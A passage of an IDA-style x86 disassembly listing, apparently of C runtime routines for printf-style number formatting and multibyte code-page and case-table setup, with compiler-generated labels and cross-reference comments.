; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBC0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF50
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF5C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF54
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBC0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCD84
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CBD0


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCC0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28B04EFh
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEA0
		cmp	[ebp+var_18], 1
		mov	dword_4DCD84, esi
		rep stosd
		stosb
		mov	dword_4DCFA4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEA1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEA0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CBE0[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBC8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEA1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCD9C, 1
		push	eax
		mov	dword_4DCD84, eax
		call	sub_42008C
		lea	esi, dword_43CBD4[esi]
		mov	edi, offset dword_4DCD90
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFA4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEA1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFA4, eax
		mov	dword_4DCD9C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCD9C, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCD90
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9B0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9B0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9B0, 1
		nop
		jmp	near ptr 265091Dh
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9B0, 1
		nop
		jmp	near ptr 28B0BC7h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB9F4
		mov	dword_4DB9B0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEA0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCD90
		mov	dword_4DCD84, eax
		mov	dword_4DCD9C, eax
		mov	dword_4DCFA4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCD84
		nop
		call	near ptr 28B04EFh
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFA4
		push	dword_4DCD84
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCD84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFA4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCD84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFA4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEA1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDA0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEA1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDA0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEA1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDA0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEA1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DCDA0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DCFD4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DCFD4, 1

